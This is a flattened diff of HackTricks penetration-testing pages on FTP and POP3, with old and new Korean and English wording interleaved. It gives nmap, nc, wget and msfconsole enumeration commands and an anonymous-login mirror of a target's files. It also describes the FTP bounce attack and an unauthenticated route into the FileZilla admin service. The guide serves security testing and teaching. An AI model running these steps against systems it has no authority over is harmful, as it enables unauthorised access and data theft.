* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요.
</details> </details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# 21 - FTP Pentesting # 21 - Pentesting FTP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) 그룹에 가입**하세요 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 또는 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유**하고 싶으시다면 **PR을 제출**하여 [**hacktricks repo**](https://github.com/carlospolop/hacktricks) 및 [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 기여하세요.
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,33 +25,36 @@
## 기본 정보 ## 기본 정보
**파일 전송 프로토콜 (FTP)**는 서버와 클라이언트 간의 컴퓨터 네트워크를 통한 파일 전송을 위한 표준 프로토콜로 작동합니다.\ **파일 전송 프로토콜 (FTP)**는 서버와 클라이언트 간의 컴퓨터 네트워크에서 파일 전송을 위한 표준 프로토콜로 사용됩니다.\
**평문** 프로토콜로, **새 줄 문자 `0x0d 0x0a`**를 사용하므로 때로 **`telnet`** 또는 **`nc -C`**를 사용하여 연결해야 할 수 있습니다. 이는 **일반 텍스트** 프로토콜로, **새 줄 문자 `0x0d 0x0a`**를 사용하므로 때로 **`telnet`** 또는 **`nc -C`**를 사용하여 **연결해야** 할 수 있습니다.
**기본 포트:** 21 **기본 포트:** 21
``` ```
PORT STATE SERVICE PORT STATE SERVICE
21/tcp open ftp 21/tcp open ftp
``` ```
### 활성 및 수동 연결 ### Connections Active & Passive
**Active FTP**에서 FTP **클라이언트**는 먼저 포트 N에서 FTP 서버의 명령 포트인 포트 21로부터 제어 **연결을 초기화**합니다. 그런 다음 **클라이언트**는 포트 **N+1**을 **청취**하고 포트 N+1을 FTP 서버로 보냅니다. FTP **서버**는 그런 다음 데이터 **연결을 초기화**하여 **포트 M에서 FTP 클라이언트의 포트 N+1**로부터 연결합니다.
하지만, FTP 클라이언트에 외부에서 들어오는 데이터 연결을 제어하는 방화벽이 설정되어 있는 경우, 활성 FTP는 문제가 될 수 있습니다. 그에 대한 실행 가능한 해결책은 수동 FTP입니다.
**수동 FTP**에서 클라이언트는 제어 연결을 자신의 포트 N에서 FTP 서버의 포트 21로 시작합니다. 이후 클라이언트는 **passv 명령**을 발행합니다. 그러면 서버가 클라이언트에게 포트 번호 M 중 하나를 보냅니다. 그리고 **클라이언트**는 FTP 서버의 **포트 M으로부터 자신의 포트 P로 데이터 연결을 시작**합니다. **액티브 FTP**에서 FTP **클라이언트**는 먼저 자신의 포트 N에서 FTP 서버의 명령 포트인 포트 21로 제어 **연결**을 **시작**합니다. 그런 다음 **클라이언트**는 포트 **N+1**을 **청취**하고 포트 N+1을 FTP 서버에 보냅니다. FTP **서버**는 그 후 **데이터 연결**을 **시작**하며, **자신의 포트 M에서 FTP 클라이언트의 포트 N+1로** 연결합니다.
원본: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### 연결 디버깅 하지만, FTP 클라이언트가 외부에서 들어오는 데이터 연결을 제어하는 방화벽을 설정한 경우, 액티브 FTP는 문제가 될 수 있습니다. 이에 대한 실행 가능한 해결책은 패시브 FTP입니다.
**FTP** 명령어 **`debug`**와 **`trace`**는 **통신이 어떻게 발생하는지** 확인하는 데 사용될 수 있습니다. **패시브 FTP**에서 클라이언트는 자신의 포트 N에서 FTP 서버의 포트 21로 제어 연결을 **시작**합니다. 이후 클라이언트는 **passv 명령**을 발행합니다. 서버는 그 후 클라이언트에게 자신의 포트 번호 M 중 하나를 보냅니다. 그리고 **클라이언트**는 **자신의 포트 P에서 FTP 서버의 포트 M으로** 데이터 **연결**을 **시작**합니다.
## 열거 (Enumeration) Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### 배너 그랩핑 ### Connection debugging
**FTP** 명령 **`debug`**와 **`trace`**는 **통신이 어떻게 이루어지는지** 확인하는 데 사용할 수 있습니다.
## Enumeration
### Banner Grabbing
```bash ```bash
nc -vn <IP> 21 nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
``` ```
### Starttls를 사용하여 FTP에 연결하기 ### STARTTLS를 사용하여 FTP에 연결하기
``` ```
lftp lftp
lftp :~> set ftp:ssl-force true lftp :~> set ftp:ssl-force true
@ -58,13 +64,14 @@ lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>] Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password lftp 10.10.10.208:~> login username Password
``` ```
### 인증되지 않은 열거 ### Unauth enum
**nmap**을 사용하여 **nmap**와 함께
```bash ```bash
sudo nmap -sV -p21 -sC -A 10.10.10.10 sudo nmap -sV -p21 -sC -A 10.10.10.10
``` ```
다음 명령어 `HELP``FEAT`을 사용하여 FTP 서버의 일부 정보를 얻을 수 있습니다: You can us the commands `HELP` and `FEAT` to obtain some information of the FTP server:
`HELP``FEAT` 명령어를 사용하여 FTP 서버에 대한 정보를 얻을 수 있습니다:
``` ```
HELP HELP
214-The following commands are recognized (* =>'s unimplemented): 214-The following commands are recognized (* =>'s unimplemented):
@ -116,102 +123,102 @@ ftp <IP>
``` ```
### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp) ### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp)
여기에서 기본 ftp 자격 증명이 있는 좋은 목록을 찾을 수 있습니다: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) 여기 기본 ftp 자격 증명의 멋진 목록을 찾을 수 있습니다: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### Automated ### Automated
Anon login 및 bounce FTP 체크는 nmap에서 **-sC** 옵션 또는 기본적으로 수행됩니다: 익명 로그인 및 바운스 FTP 검사는 기본적으로 nmap의 **-sC** 옵션으로 수행됩니다:
```bash ```bash
nmap --script ftp-* -p 21 <ip> nmap --script ftp-* -p 21 <ip>
``` ```
## 브라우저 연결 ## Browser connection
다음과 같은 URL을 사용하여 브라우저(예: Firefox)를 통해 FTP 서버에 연결할 수 있습니다: 브라우저(예: Firefox)를 사용하여 다음과 같은 URL로 FTP 서버에 연결할 수 있습니다:
```bash ```bash
ftp://anonymous:anonymous@10.10.10.98 ftp://anonymous:anonymous@10.10.10.98
``` ```
참고로, **웹 응용 프로그램**이 사용자가 제어하는 데이터를 **직접 FTP 서버로 전송**하는 경우 이중 URL 인코딩 `%0d%0a` (이중 URL 인코딩에서는 `%250d%250a`) 바이트를 전송하여 **FTP 서버가 임의의 작업을 수행**하도록 할 수 있습니다. 이러한 임의의 작업 중 하나는 사용자가 제어하는 서버에서 콘텐츠를 다운로드하거나 포트 스캐닝을 수행하거나 다른 평문 기반 서비스(예: http)와 통신을 시도하는 것입니다. 사용자에 의해 제어되는 데이터를 **FTP 서버**에 **직접 전송하는 웹 애플리케이션**이 있는 경우, 이중 URL 인코딩된 `%0d%0a` (이중 URL 인코딩에서는 `%250d%250a`) 바이트를 전송하여 **FTP 서버가 임의의 작업을 수행**하게 할 수 있습니다. 이러한 가능한 임의 작업 중 하나는 사용자가 제어하는 서버에서 콘텐츠를 다운로드하거나 포트 스캐닝을 수행하거나 다른 평문 기반 서비스(예: http)와 통신을 시도하는 것입니다.
## FTP에서 모든 파일 다운로드 ## FTP에서 모든 파일 다운로드
```bash ```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
``` ```
만약 사용자 이름/비밀번호에 특수 문자가 포함되어 있다면, [다음 명령](https://stackoverflow.com/a/113900/13647948)을 사용할 수 있습니다: 사용자 이름/비밀번호에 특수 문자가 포함된 경우, [다음 명령어](https://stackoverflow.com/a/113900/13647948)를 사용할 수 있습니다:
```bash ```bash
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
``` ```
## 몇 가지 FTP 명령어 ## Some FTP commands
* **`USER username`** * **`USER username`**
* **`PASS password`** * **`PASS password`**
* **`HELP`** 서버 지원하는 명령어를 표시합니다. * **`HELP`** 서버 지원하는 명령어를 표시합니다.
* \*\*`PORT 127,0,0,1,0,80`\*\*이는 FTP 서버가 IP 127.0.0.1의 포트 80으로 연결을 설정하도록 지시합니다 (_5번째 문자를 "0"으로, 6번째를 10진수로 또는 5번째와 6번째를 사용하여 포트를 16진수로 표현_). * \*\*`PORT 127,0,0,1,0,80`\*\* 이는 FTP 서버에 IP 127.0.0.1의 포트 80과 연결을 설정하도록 지시합니다 (_5번째 문자는 "0"으로, 6번째는 10진수로 포트를 입력해야 하거나 5번째와 6번째를 사용하여 포트를 16진수로 표현해야 합니다_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*이는 FTP 서버가 IP 127.0.0.1의 포트 80으로 TCP 연결을 설정하도록 지시합니다. 이 명령어는 **IPv6를 지원**합니다. * \*\*`EPRT |2|127.0.0.1|80|`\*\* 이는 FTP 서버에 IP 127.0.0.1의 포트 80과 TCP 연결을 설정하도록 지시합니다 (_"2"로 표시됨_). 이 명령은 **IPv6을 지원합니다**.
* **`LIST`** 이는 현재 폴더의 파일 목록을 보냅니다. * **`LIST`** 현재 폴더의 파일 목록을 전송합니다.
* **`LIST -R`** 재귀적으로 목록을 표시합니다 (서버에서 허용하는 경우). * **`LIST -R`** 재귀적으로 목록을 나열합니다 (서버에서 허용하는 경우).
* **`APPE /path/something.txt`** 이는 FTP**수동** 연결이나 **PORT/EPRT** 연결로부터 받은 데이터를 파일에 저장하도록 지시합니다. 파일 이름이 이미 존재하면 데이터를 추가합니다. * **`APPE /path/something.txt`** 이는 FTP**수동** 연결 또는 **PORT/EPRT** 연결에서 수신한 데이터를 파일에 저장하도록 지시합니다. 파일 이름이 존재하면 데이터를 추가합니다.
* **`STOR /path/something.txt`** `APPE`유사하지만 파일을 덮어씁니다. * **`STOR /path/something.txt`** `APPE`지만 파일을 덮어씁니다.
* **`STOU /path/something.txt`** `APPE`유사하지만 파일이 이미 존재하면 아무 작업도 수행하지 않습니다. * **`STOU /path/something.txt`** `APPE`같지만, 존재할 경우 아무 작업도 하지 않습니다.
* **`RETR /path/to/file`** 수동 또는 포트 연결을 설정해야 합니다. 그런 다음 FTP 서버는 해당 연결을 통해 지정된 파일을 보냅니다. * **`RETR /path/to/file`** 수동 또는 포트 연결이 설정되어야 합니다. 그런 다음 FTP 서버는 해당 연결을 통해 지정된 파일을 전송합니다.
* **`REST 6`** 이는 서버에게 다음에 `RETR`을 사용하여 무언가를 보낼 때 6번째 바이트부터 시작해야 한다고 알려줍니다. * **`REST 6`** 이는 서버에 다음 번에 `RETR`를 사용하여 무언가를 전송할 때 6번째 바이트에서 시작해야 함을 지시합니다.
* **`TYPE i`** 전송을 이진으로 설정합니다. * **`TYPE i`** 전송을 이진으로 설정합니다.
* **`PASV`** 이는 수동 연결을 열고 사용자가 연결할 수 있는 위치를 알려줍니다. * **`PASV`** 이는 수동 연결을 열고 사용자가 연결할 수 있는 위치를 표시합니다.
* **`PUT /tmp/file.txt`** 지정된 파일을 FTP에 업로드합니다. * **`PUT /tmp/file.txt`** 지정된 파일을 FTP에 업로드합니다.
![](<../../.gitbook/assets/image (386).png>) ![](<../../.gitbook/assets/image (386).png>)
## FTPBounce 공격 ## FTPBounce attack
일부 FTP 서버는 명령어 PORT를 허용합니다. 이 명령어를 사용하여 서버에게 특정 포트의 다른 FTP 서버에 연결하려는 의사를 전달할 수 있습니다. 그런 다음 FTP 서버를 통해 호스트의 어떤 포트가 열려 있는지 스캔할 수 있습니다. 일부 FTP 서버는 PORT 명령을 허용합니다. 이 명령은 서버에 다른 FTP 서버의 특정 포트에 연결하고 싶음을 나타내는 데 사용할 수 있습니다. 그런 다음 이를 사용하여 FTP 서버를 통해 호스트의 어떤 포트가 열려 있는지 스캔할 수 있습니다.
[**여기에서 FTP 서버를 악용하여 포트를 스캔하는 방법을 배우세요.**](ftp-bounce-attack.md) [**여기에서 FTP 서버를 악용하여 포트를 스캔하는 방법을 배우세요.**](ftp-bounce-attack.md)
또한 이 동작을 악용하여 FTP 서버가 다른 프로토콜과 상호 작용하도록 할 수 있습니다. **HTTP 요청을 포함한 파일을 업로드**하고 취약한 FTP 서버가 **임의의 HTTP 서버로 전송**하도록 만들거나 (_새로운 관리자 사용자를 추가할 수도 있음_) 또는 FTP 요청을 업로드하고 취약한 FTP 서버가 다른 FTP 서버로 파일을 다운로드하도록 할 수도 있습니다.\ 이 동작을 악용하여 FTP 서버가 다른 프로토콜과 상호작용하도록 만들 수도 있습니다. **HTTP 요청을 포함하는 파일을 업로드**하고 취약한 FTP 서버가 **임의의 HTTP 서버로 전송하도록** 하거나, 심지어 FTP 요청을 업로드하고 취약한 FTP 서버가 다른 FTP 서버에서 파일을 다운로드하도록 만들 수 있습니다.\
이론은 간단합니다: 이론은 간단합니다:
1. **취약한 서버에 요청을 업로드합니다 (텍스트 파일 내).** 다른 HTTP 또는 FTP 서버와 통신하려면 `0x0d 0x0a`라인을 변경해야 합니다. 1. **취약한 서버에 요청(텍스트 파일 내)을 업로드합니다.** 다른 HTTP 또는 FTP 서버와 통신하려면 `0x0d 0x0a`을 변경해야 합니다.
2. **보내고 싶지 않은 문자를 보내지 않도록 `REST X`를 사용합니다** (아마도 파일 내부에 요청을 업로드하려면 시작 부분에 이미지 헤더를 넣어야 할 수도 있음). 2. **원하지 않는 문자를 전송하지 않도록 `REST X`를 사용합니다** (아마도 요청을 파일 내에 업로드하기 위해 파일의 시작 부분에 이미지 헤더를 넣어야 했을 것입니다).
3. **임의의 서버 및 서비스에 연결하려면 `PORT`를 사용합니다.** 3. **임의의 서버 및 서비스에 연결하기 위해 `PORT`를 사용합니다.**
4. **저장된 요청을 서버로 보내려면 `RETR`를 사용합니다.** 4. **저장된 요청을 서버에 전송하기 위해 `RETR`를 사용합니다.**
**아마도** _**소켓이 쓰기 불가능**_ **오류를 발생시킬 가능성이 높습니다**. 이를 피하려는 제안은 다음과 같습니다: 것이 **_**소켓이 쓰기 불가능하다는 오류**_와 같은 오류를 발생시킬 가능성이 높습니다** **왜냐하면 연결이 `RETR`로 데이터를 전송하기에 충분히 오래 지속되지 않기 때문입니다**. 이를 피하기 위한 제안은 다음과 같습니다:
* HTTP 요청을 보내는 경우, **최소한 ~0.5MB까지** **같은 요청을 연이어 넣으세요**. 이렇게 하면: * HTTP 요청을 전송하는 경우, **같은 요청을 연속으로 넣습니다** **\~0.5MB** 이상까지. 이렇게:
{% file src="../../.gitbook/assets/posts.txt" %} {% file src="../../.gitbook/assets/posts.txt" %}
posts.txt posts.txt
{% endfile %} {% endfile %}
* 프로토콜과 관련된 "잡동사니" 데이터로 요청을 채우려고 시도하세요 (FTP에 대화하는 경우 잡동사니 명령어 또는 파일을 가져오기 위해 `RETR`명령을 반복하는 것일 수도 있음) * 요청을 **프로토콜과 관련된 "잡동사니" 데이터로 채우려고 시도합니다** (FTP와 대화할 때 아마도 잡동사니 명령어를 사용하거나 파일을 가져오기 위해 `RETR` 명령을 반복합니다).
* 요청을 많은 널 문자 또는 다른 문자로 채우세요 (라인으로 나누거나 그렇지 않아도 됨) * 요청을 **많은 널 문자 또는 기타로 채웁니다** (줄로 나누거나 나누지 않고).
어쨌든, 여기에는 [FTP 서버가 다른 FTP 서버에서 파일을 다운로드하도록 만드는 방법에 대한 예전 예제](ftp-bounce-download-2oftp-file.md)가 있습니다. 어쨌든, 여기 [다른 FTP 서버에서 파일을 다운로드하도록 FTP 서버를 악용하는 방법에 대한 오래된 예제가 있습니다.](ftp-bounce-download-2oftp-file.md)
## Filezilla 서버 취약점 ## Filezilla Server Vulnerability
**FileZilla**는 일반적으로 **로컬**에 **FileZilla-Server**용 **관리 서비스**를 **바인딩**합니다 (포트 14147). **귀하의 기기**에서 **이 포트에 액세스하는 터널**을 만들 수 있다면, **빈 암호**로 **연결**하여 FTP 서비스를 위한 **새 사용자를 만들 수 있습니다**. **FileZilla**는 일반적으로 **로컬**에 **FileZilla-Server**(포트 14147)를 위한 **관리 서비스**를 **바인딩**합니다. 이 포트에 접근하기 위해 **당신의 머신**에서 **터널**을 생성할 수 있다면, **빈 비밀번호**를 사용하여 **연결**하고 FTP 서비스에 대한 **새 사용자**를 **생성**할 수 있습니다.
## 구성 파일 ## Config files
``` ```
ftpusers ftpusers
ftp.conf ftp.conf
proftpd.conf proftpd.conf
vsftpd.conf vsftpd.conf
``` ```
### 사후 침투 ### Post-Exploitation
vsFTPd의 기본 구성은 `/etc/vsftpd.conf`에서 찾을 수 있습니다. 여기에서 몇 가지 위험한 설정을 찾을 수 있습니다: vsFTPd의 기본 구성은 `/etc/vsftpd.conf`에서 찾을 수 있습니다. 여기에서 몇 가지 위험한 설정을 찾을 수 있습니다:
* `anonymous_enable=YES` * `anonymous_enable=YES`
* `anon_upload_enable=YES` * `anon_upload_enable=YES`
* `anon_mkdir_write_enable=YES` * `anon_mkdir_write_enable=YES`
* `anon_root=/home/username/ftp` - 익명 사용자를 위한 디렉토리 * `anon_root=/home/username/ftp` - 익명 사용자를 위한 디렉토리.
* `chown_uploads=YES` - 익명으로 업로드된 파일의 소유권 변경 * `chown_uploads=YES` - 익명으로 업로드된 파일의 소유권 변경
* `chown_username=username` - 익명으로 업로드된 파일의 소유권이 부여된 사용자 * `chown_username=username` - 익명으로 업로드된 파일의 소유권을 부여받는 사용자
* `local_enable=YES` - 로컬 사용자의 로그인 활성화 * `local_enable=YES` - 로컬 사용자가 로그인할 수 있도록 활성화
* `no_anon_password=YES` - 익명으로부터 비밀번호를 요청하지 않음 * `no_anon_password=YES` - 익명 사용자에게 비밀번호를 묻지 않음
* `write_enable=YES` - 명령어 STOR, DELE, RNFR, RNTO, MKD, RMD, APPE 및 SITE 허용 * `write_enable=YES` - 명령 허용: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, 및 SITE
### Shodan ### Shodan
@ -228,7 +235,7 @@ vsFTPd의 기본 구성은 `/etc/vsftpd.conf`에서 찾을 수 있습니다. 여
*** ***
## HackTricks 자동 명령어 ## HackTricks Automatic Commands
``` ```
Protocol_Name: FTP #Protocol Abbreviation if there is one. Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one. Port_Number: 21 #Comma separated if there is more than one.
@ -280,14 +287,17 @@ Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
``` ```
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하고 싶으시다면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요**.
</details> </details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# 110,995 - POP Pentesting # 110,995 - Pentesting POP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하시거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출**해주세요.
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,7 +25,7 @@
## 기본 정보 ## 기본 정보
**포스트 오피스 프로토콜 (POP)**은 컴퓨터 네트워킹 및 인터넷 영역에서 사용되는 프로토콜로, 원격 메일 서버에서 이메일을 추출하고 **검색하여 로컬 장치에서 액세스**할 수 있도록 하는 것으로 설명됩니다. OSI 모델의 응용 계층에 위치한 이 프로토콜은 사용자가 이메일을 가져오고 받을 수 있게 합니다. **POP 클라이언트**의 작동은 일반적으로 메일 서버에 연결을 설정하고 모든 메시지를 다운로드하여 이러한 메시지를 클라이언트 시스템에 로컬로 저장한 다음 서버에서 제거하는 것을 포함합니다. 이 프로토콜의 세 가지 반복이 있지만, **POP3**가 가장 널리 사용되는 버전으로 두드러집니다. **우편 프로토콜 (POP)**은 컴퓨터 네트워킹 및 인터넷 영역 내의 프로토콜로 설명되며, 원격 메일 서버에서 이메일을 **추출하고 검색하는 데 사용**되어 로컬 장치에서 접근할 수 있게 합니다. OSI 모델의 응용 계층에 위치한 이 프로토콜은 사용자가 이메일을 가져오고 수신할 수 있도록 합니다. **POP 클라이언트**의 작동은 일반적으로 메일 서버에 연결을 설정하고, 모든 메시지를 다운로드하며, 이 메시지를 클라이언트 시스템에 로컬로 저장한 후 서버에서 제거하는 과정을 포함합니다. 이 프로토콜에는 세 가지 버전이 있지만, **POP3**가 가장 널리 사용되는 버전으로 두드러집니다.
**기본 포트:** 110, 995(ssl) **기본 포트:** 110, 995(ssl)
``` ```
@ -31,26 +34,26 @@ PORT STATE SERVICE
``` ```
## 열거 ## 열거
### 배너 그랩핑 ### 배너 수집
```bash ```bash
nc -nv <IP> 110 nc -nv <IP> 110
openssl s_client -connect <IP>:995 -crlf -quiet openssl s_client -connect <IP>:995 -crlf -quiet
``` ```
## 수동 ## 수동
POP3 서버의 기능을 얻기 위해 `CAPA` 명령 사용할 수 있습니다. `CAPA` 명령어를 사용하여 POP3 서버의 기능을 얻을 수 있습니다.
## 자동화 ## 자동화
```bash ```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
``` ```
